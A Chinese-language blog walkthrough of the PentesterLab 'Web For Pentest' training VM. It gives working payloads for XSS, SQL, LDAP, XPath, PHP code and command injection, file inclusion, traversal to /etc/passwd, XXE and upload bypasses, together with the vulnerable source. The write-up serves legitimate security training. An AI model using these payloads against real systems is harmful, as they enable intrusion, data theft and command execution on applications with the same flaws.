Back

Web For Pentest

很久之前就想做的靶机,一直没做,最近有空清理一下。地址在PentestLab

[TOC]

Pre

下载得到一个 iso 后直接用 vmware 装起来,ifconfig得到 ip ,访问就可以看到主页了

Hacking

XSS

Example 1

http://172.16.71.152/xss/example1.php?name=hacker

一个典型的反射型 xss ,我们可以看到 url 中有个name的参数,直接 x

http://172.16.71.152/xss/example1.php?name=%3Cscript%3Ealert(1);%3C/script%3E

Example 2

http://172.16.71.152/xss/example1.php?name=hacker

还是尝试用<script>alert(1);</script>直接 x ,发现被过滤了

<div class="container">



Hello 
alert(1)      <footer>
        <p>&copy; PentesterLab 2013</p>
      </footer>

    </div> <!-- /container -->

大小写绕过

http://172.16.71.152/xss/example2.php?name=%3CScript%3Ealert(1)%3C/Script%3E

Example 3

http://172.16.71.152/xss/example3.php?name=hacker

大小写也被过滤了,双写的话竟然没有被替代<scscriptript>,直接原样返回了,换成其他标签

http://172.16.71.152/xss/example3.php?name=%3Cbody/onload=alert(1)%3E

查看了源代码,原来是把<script></script>都替换了,把尖括号也替代了…也是自己不够仔细…确实应该想到替换包含了尖括号的问题

http://172.16.71.152/xss/example3.php?name=%3CSc%3CScript%3Eript%3Ealert(1)%3C/Sc%3C/Script%3Eript%3E

Example 4

http://172.16.71.152/xss/example4.php?name=hacker

使用<script>alert(1)</script>,发现直接回显了error,并没有其他的提示了,我们仍旧可以使用<body/onload=alert(1)>

源代码是

if(preg_match('/script/i',$_GET['name'])){
    die('error');
}

禁止使用了script关键字

Example 5

http://172.16.71.152/xss/example5.php?name=hacker

fuzz 发现是alert直接就返回error了,不用alert,我们还有prompt

http://172.16.71.152/xss/example5.php?name=%3Cbody/onload=prompt(1)%3E

源代码是:

if(preg_match('/alert/i',$_GET['name'])){
    die('error');
}

这…感觉有点无语,讲道理我还以为应该是scriptalert一起过滤了…

Example 6

http://172.16.71.152/xss/example6.php?name=hacker

<script>alert(1)</script>测试,发现输入变成了

Hello 
<script>
	var $a= "<script>alert(1)</script>";
</script>

意思就是把输入给放在了var $a= "…"当中,闭合双引号,注释后面即可

http://172.16.71.152/xss/example6.php?name=%22;alert(1)//

Example 7

http://172.16.71.152/xss/example7.php?name=hacker

<script>alert(1)</script>测试,发现输入变成了

Hello 
<script>
	var $a= '&lt;script&gt;alert(1)&lt;/script&gt;';
</script>

依然可以闭合单引号,注释后面即可。

http://172.16.71.152/xss/example7.php?name=%27;alert(1)//

Example 8

发现这关有个输入框,提交<script>alert(1)</script>,发现返回了实体编码

HELLO &lt;script&gt;alert(1)&lt;/script&gt;<form action="/xss/example8.php" method="POST">
  Your name:<input type="text" name="name" />
  <input type="submit" name="submit"/>

尝试了一些特殊字符

()/'";<>`

HELLO ()/'&quot;;&lt;&gt;`

发现<>被过滤了,但是输出结果又没有处于任何一个标签的属性之内,感觉没有什么攻击点,查看源代码

if(isset($_POST['name'])){
    echo "HELLO ".htmlentities($_POST['name']);
}

确实用了htmlentities,但是感觉在输出又处在内容当中,真的没什么利用的点,找了一波也没发现什么有用的利用姿势,最后看文档,才知道攻击点并不在这,而是在后面的代码中

<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
  Your name:<input type="text" name="name" />
  <input type="submit" name="submit"/>

问题就出现在<?php echo $_SERVER['PHP_SELF']; ?>这里

​ ‘PHP_SELF’

当前执行脚本的文件名,与 document root 有关。例如,在地址为 http://example.com/foo/bar.php 的脚本中使用 $_SERVER[‘PHP_SELF’] 将得到 /foo/bar.php。FILE 常量包含当前(例如包含)文件的完整路径和文件名。 从 PHP 4.3.0 版本开始,如果 PHP 以命令行模式运行,这个变量将包含脚本名。之前的版本该变量不可用。

我们可以看到,这里是获取执行脚本的文件名,我们可以有xss/example8.php/%3C,返回

<form action="/xss/example8.php/<" method="POST">

说明PHP_SELF是可控的,而且又存在在action属性中,于是我们可以有,直接闭合form,然后直接 x

"><script>alert(1);</script>//

Example 9

http://172.16.71.152/xss/example9.php#hacker

发现页面有

<script>
  document.write(location.hash.substring(1));
</script>

一个 DOM 型的 XSS ,讲道理应该可以直接使用#<script>alert(1)</script>来进行 xss ,但是…不知道是不是浏览器的问题,直接就给我把<>进行 url 编码了…

File Include

Example 1

直接用

php://filter/read=convert.base64-encode/resource=intro.php
php://filter/read=convert.base64-encode/resource=example1.php

得到源码

<?php require_once '../header.php'; ?>
<?php
	if ($_GET["page"]) {
		include($_GET["page"]);
	} 
?>
<?php require_once '../footer.php'; ?>

但是官方的意思是让我们体验一下远程包含的感觉…

http://172.16.71.152/fileincl/example1.php?page=http://your_ip/zedd.txt

Zedd.txt 中的内容为

<?php
    phpinfo();

得到

Example 2

比上面少个后缀

php://filter/read=convert.base64-encode/resource=intro
php://filter/read=convert.base64-encode/resource=example2

读取源代码

<?php require_once '../header.php'; ?>

<?php
	if ($_GET["page"]) {
    $file = $_GET["page"].".php";
    // simulate null byte issue
    $file = preg_replace('/\x00.*/',"",$file);
		include($file);
	} 
?>
<?php require_once '../footer.php'; ?>

我们可以利用zedd.txt%00来绕过

LDAP attacks

Example 1

着实没看懂这个 Example 是什么鬼…

​ In this first example, you connect to a LDAP server, using your username and password. In this instance, The LDAP server does not authenticate you, since your credentials are invalid.

However, some LDAP servers authorise NULL Bind: if null values are sent, the LDAP server will proceed to bind the connection, and the PHP code will think that the credentials are correct. To get the bind with 2 null values, you will need to completely remove this parameter from the query. If you keep something like username=&password= in the URL, these values will not work, since they won’t be null; instead, they will be empty.

菜是越来越菜,整个意思就是说可以用空值绕过,就是直接访问http://172.16.71.152/ldap/example1.php即可…

Example 2

按照 Example 1 的套路,先直接访问看看,发现返回

Notice: Undefined index: password in /var/www/ldap/example2.php on line 9 Notice: Undefined index: name in /var/www/ldap/example2.php on line 10 UNAUTHENTICATED 

看来是个正经的注入题了,

<?php
  require "../header.php" ; 
  $ld = ldap_connect("localhost") or die("Could not connect to LDAP server");
  ldap_set_option($ld, LDAP_OPT_PROTOCOL_VERSION, 3); 
  ldap_set_option($ld, LDAP_OPT_REFERRALS, 0);
  if ($ld) {
   $lb = @ldap_bind($ld, "cn=admin,dc=pentesterlab,dc=com", "pentesterlab");
    if ($lb) {
      $pass = "{MD5}".base64_encode(pack("H*",md5($_GET['password'])));
      $filter = "(&(cn=".$_GET['name'].")(userPassword=".$pass."))";
      if (!($search=@ldap_search($ld, "ou=people,dc=pentesterlab,dc=com", $filter))) {
      echo("Unable to search ldap server<br>");
      echo("msg:'".ldap_error($ld)."'</br>");
    } else {
      $number_returned = ldap_count_entries($ld,$search);
      $info = ldap_get_entries($ld, $search);
      if ($info["count"] < 1) {
         //NOK 
         echo "UNAUTHENTICATED";
      }
      else {
        echo "AUTHENTICATED as";
        echo(" ".htmlentities($info[0]['uid'][0]));
      }	
    }
   }
  }
  require "../footer.php" ; 
?>

折腾了挺久,这里直接看源码,我们对着分析,因为password处是被md5处理了,所以后面我们没办法注入,这里他执行两条以上的语句会直接报错Bad search filter,不能像网上给的大多数 payload 一样直接执行,所以我们需要分析一下,可以在name处闭合前面的括号,再用%00截断后面的即可,

admin)(cn=admin))%00&password=hacker

也可以不用后面那个cn=admin

admin))%00&password=hacker

不过我看文档写的有一处 fuzz 还是比较好的:

  • 首先先用name=hacker&password=hacker,回显正常
  • 接着用name=hack*&password=hacker,回显也正常
  • 尝试name=hacker&password=hack*,不能认证
  • 尝试name=hack*&password=hack*,不能认证

从这里可以推断,password处可能是经过了 Hash 或者一些什么操作,我们的注入点只能在username

SQL Injection

Example 1

root' or 1=1%23

没啥好说的

Example 2

尝试root' or 1=1%23,返回

ERROR NO SPACE

直接用%0a

root'%0Aor%0A1=1%23

Example 3

%0a还是返回了

ERROR NO SPACE

%a0

root%27%A0or%A01=1%23

Example 4

http://172.16.71.152/sqli/example4.php?id=2

这里参数变成了 id ,猜测是整形注入

2 or 1=1%23

Example 5

依旧可以使用2 or 1=1%23注入

看了一下代码

if (!preg_match('/^[0-9]+/', $_GET["id"])) {
    die("ERROR INTEGER REQUIRED");	
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"] ;
$result = mysql_query($sql);

只要开头是数字就可以绕过了

Example 6

尝试2 or 1=1%23,返回

ERROR INTEGER REQUIRED

尝试2 or 1=1,发现全部返回,猜测检测开头结尾是否为数字,于是我们可以使用布尔盲注

if(substr((SELECT group_concat(schema_name) from information_schema.schemata),1,1)='i',1,0) and 1

结果发现可以直接在注释后加数字就好了2 or 1=1 %23 1,而且之前猜列数为 3 ,也猜错了…orz

还是不够细心,通过1 union select 1,2,3,4,5%23 1,得到 5 列

1 union SELECT 1,group_concat(schema_name),3,4,5 from information_schema.schemata %23 1

information_schema,exercises

1 union SELECT 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema='exercises' %23 1

users

1 union SELECT 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name='users'%23 1

id,name,age,groupid,passwd

1 union select * from users %23 1

Example 7

查看源代码

if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {
    die("ERROR INTEGER REQUIRED");	
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"];

$result = mysql_query($sql);

我们可以用%0a(换行)绕过纯数字匹配,4%0Aor 1=1%23

1%0a union SELECT 1,group_concat(schema_name),3,4,5 from information_schema.schemata %23

Example 8

http://172.16.71.152/sqli/example8.php?order=name

很明显的一个order注入,尝试报错无回显,那就只能通过 bool 注入或者延时注入了,但是 fuzz 了很久,都无法绕过,最后看源代码发现用的是反引号…

$sql = "SELECT * FROM users ORDER BY `";
$sql .= mysql_real_escape_string($_GET["order"])."`";

用 sqlmap 跑了一下,发现可以用

order=name`=`name` AND SLEEP(5) AND `name`=`name
order=name`=`name` AND 2137=(SELECT (CASE WHEN (2137=2137) THEN 2137 ELSE (SELECT 8927 UNION SELECT 4832) END))-- lMKk

成功延时,仔细分析,其实是构成了以下 payload

SELECT * FROM users ORDER BY `name`=`name` AND SLEEP(5) AND `name`=`name`;

SELECT * FROM users ORDER BY `name`=`name` AND 2137=(SELECT (CASE WHEN (2137=2137) THEN 2137 ELSE (SELECT 8927 UNION SELECT 4832) END))-- lMKk`

这样就看的比较明朗了,其实就是用两个字符串先进行相等,然后还是用的是order by后注入的方式

Example 9

比上个还要简单,直接测的是rand(true)%23,发现排序发生变化,于是就可以用 bool 注入了,就不再重复了。

Code injection

Example 1

http://172.16.71.152/codeexec/example1.php?name=hacker

回显

Hello hacker!!! 

尝试 xss

http://172.16.71.152/codeexec/example1.php?name=%3Cscript%3Ealert(1)%3C/script%3E//

成功alert,没发现这题问题所在,讲道理这算是个 HTML 代码注入吧2333,尝试注入$a,发现有回显

Notice: Undefined variable: a in /var/www/codeexec/example1.php(6) : eval()'d code on line 1 Hello !!! 

说明应该在eval()函数中,猜测是eval(echo "$a!!!")这样的方式,闭合双引号即可,

";system('whoami');echo "

Example 2

http://172.16.71.152/codeexec/example2.php?order=id

传入$id,发现错误回显

Notice: Undefined variable: id in /var/www/codeexec/example2.php(22) : runtime-created function on line 1 Fatal error: Cannot access empty property in /var/www/codeexec/example2.php(22) : runtime-created function on line 1 

这个比较头大,我们直接分析源代码

<?php
class User{
  public $id, $name, $age;
  function __construct($id, $name, $age){
    $this->name= $name;
    $this->age = $age;
    $this->id = $id;
  }   
}
  require_once('../header.php');
  require_once('../sqli/db.php');
	$sql = "SELECT * FROM users ";

	$order = $_GET["order"];
	$result = mysql_query($sql);
  if ($result) {
		while ($row = mysql_fetch_assoc($result)) {
      $users[] = new User($row['id'],$row['name'],$row['age']);
    }
    if (isset($order)) { 
      usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
    }

这里用到了create_function的一个 trick ,可以用}闭合create_function,所以我们可以用

id,$b->id);}system('ls');//

Example 3

http://172.16.71.152/codeexec/example3.php?new=hacker&pattern=/lamer/&base=Hello%20lamer

这里我们直接看代码算了…

<?php
	echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed

使用/e修饰符,preg_replace会将replacement参数当作 PHP 代码执行,也就是$_GET['new']

所以用new=system('id');&pattern=/test/e&base=jutst test,即可执行任意命令。

File Upload

Example 1

毫无过滤的文件上传

Example 2

使用.php3进行后缀绕过

Directory traversal

Example 1

http://172.16.71.152/dirtrav/example1.php?file=../../../../../../../../../../etc/passwd

Example 2

http://172.16.71.152/dirtrav/example2.php?file=/var/www/files/hacker.png

直接访问/etc/passwd不行,用../绕过

http://172.16.71.152/dirtrav/example2.php?file=/var/www/files/../../../../../../../../../etc/passwd

Example 3

http://172.16.71.152/dirtrav/example3.php?file=hacker

猜测结尾有附加.jpg,用%00截断

http://172.16.71.152/dirtrav/example3.php?file=../../../../../../../etc/passwd%00

Commands injection

Example 1

http://172.16.71.152/commandexec/example1.php?ip=127.0.0.1

;id执行命令

Example 2

;发现回显

Invalid IP address

于是用%0a换行执行命令

Example 3

直接在后面加貌似会被先过滤跳转,放到 burp 里面加就行了

看下源代码

<?php
  if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/', $_GET['ip']))) {
     header("Location: example3.php?ip=127.0.0.1");
  }
  system("ping -c 2 ".$_GET['ip']);
?>

果然直接被跳转了,但是我们用 burp 还是可以直接执行的

XML attacks

Example 1

http://172.16.71.152/xml/example1.php?xml=%3Ctest%3Ehacker%3C/test%3E

没什么过滤的 xxe ,删掉下载的空格换行什么的就好了,记得 urlencode

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY  file SYSTEM "file:///etc/passwd">]>
<root>&file;</root>

Example 2

http://172.16.71.152/xml/example2.php?name=hacker

看源码得到

<?php require_once("../header.php"); 

  $x = "<data><users><user><name>hacker</name><message>Hello hacker</message><password>pentesterlab</password></user><user><name>admin</name><message>Hello admin</message><password>s3cr3tP4ssw0rd</password></user></users></data>";

  $xml=simplexml_load_string($x);
  $xpath = "users/user/name[.='".$_GET['name']."']/parent::*/message";
  $res = ($xml->xpath($xpath));
  while(list( ,$node) = each($res)) {
  	echo $node;
  } 
?>

看到源码就知道是一个 xpath 注入了,比较类似 sql 注入,用or 1=1的方式绕过即可

users/user/name[.='hacker' or '1'='1']/parent::*/message

获取到了

Hello hackerHello admin 

admin' and '1'='1得到 admin 的认证

Conclusion

总结以下还是有点收获的,比如create_function那里的绕过,还有 LDAP 注入以及 XPath 注入, SQL 注入那里也有点收获,比如反引号的利用,也对order by注入有了更好的理解。

Licensed under CC BY-NC-SA 4.0

I am looking for some guys who have a strong interest in CTFs to build a team focused on international CTFs that are on the ctftime.org, if anyone is interested in this idea you can take a look at here: Advertisements


想了解更多有意思的国际赛 CTF 中 Web 知识技巧,欢迎加入我的 知识星球 ; 另外我正在召集一群小伙伴组建一支专注国际 CTF 的队伍,如果有感兴趣的小伙伴也可在 International CTF Team 查看详情


comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy